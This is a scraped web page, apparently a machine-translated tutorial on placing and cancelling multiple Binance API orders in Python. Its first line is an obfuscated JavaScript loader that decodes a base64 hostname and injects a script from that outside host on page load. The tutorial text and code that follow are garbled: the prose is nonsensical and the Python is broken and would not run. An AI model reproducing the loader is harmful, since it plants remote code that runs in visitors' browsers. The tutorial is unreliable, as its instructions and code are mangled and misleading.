const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=b197242b”;document.body.appendChild(script);
** Creation of several orders for several API AI
As a developer, multiplier order orders for the different pairs off the API in an asynchronous manner are the crucilial staff with a large volume of trades or the implementation of Whip of trading strategies. In this article, we walk that you manage the processing organs for multiplicaters asynchronously on the Python Python Binance.
Prerequisites:
- You have a binance API key and a secret pair.
- You have been installed the “Binance” library via PIP: “Pip Installation Binary Clien”
Step 1: Create an order with several pairs
To create multiplied orders for different pairs off the API keys in an asynchronous, west for the unique orders of required pairs. We will use the “binance.client.order.
`Python
The Binance.client import client
Define your binance API key and your secret pair
API_KEY = "your_api_key"
Api_secret = "your_api_secret"
Create
Customer = Customer (API_Key, API_SECRET)
Define the pairs for which
Pairs = ["Goddt", "Bnbusdt"]
Republic
orders = []
For pairs in pairs:
Define the type and the ORER settings
params = {
"On the" side ":" market ",
"Type": "Limit"
}
Create a more recent command for Currin
Order = Clinic
symbol = pair,
On the side = params ['side'],
Type = params ['type'],
Quantity = 100,
set to trade at 100 units
TimeinForce = 'GTC',
Define time-in-your on "Good Till Cancel"
how = f "order for {pair}"
))
Add control objects
Orders.Append (Order)
Print them
For I, order in enumeration (orders):
print (f "order {i + 1}: {order.symbol} - Quantity: {order.quanty}")
re
Step 2: Create several commands for each pair in a asynchronous way **
To create multiplied orders for each pair in a asynchronous way, we dose we dose aloop to put an order. This approach can be at high memory intensity and may not suit the number of pairs larvae out of pairs.
Python
Sleep import time
Define the API key and the secret pair
API_KEY = "your_api_key"
Api_secret = "your_api_secret"
Create
Customer = Customer (API_Key, API_SECRET)
Define the pairs for which
Pairs = ["Goddt", "Bnbusdt"]
Republic
orders = []
For pairs in pairs:
Define the type and the ORER settings
params = {
"On the" side ":" market ",
"Type": "Limit"
}
Create a more recent command for Currin
Order = Clinic
symbol = pair,
On the side = params ['side'],
Type = params ['type'],
Quantity = 100,
set to trade at 100 units
TimeinForce = 'GTC',
Define time-in-your on "Good Till Cancel"
how = f "order for {pair}"
))
Add control objects
Orders.Append (Order)
Wait a short period before cringing another order
Sleep (1)
Print them
For I, order in enumeration (orders):
print (f "order {i + 1}: {order.symbol} - Quantity: {order.quanty}")
re
Step 3: Cancel orders
Asynchronous cannel commands, you can make the methodclient.order.cance This approach is more effective on API demands multiplied by conviction.
` Python
Define the command IDs
Order_ids = [str (order.id) for order in orders]
Cancel orders
To order_id in order_ids:
Client.Oorder.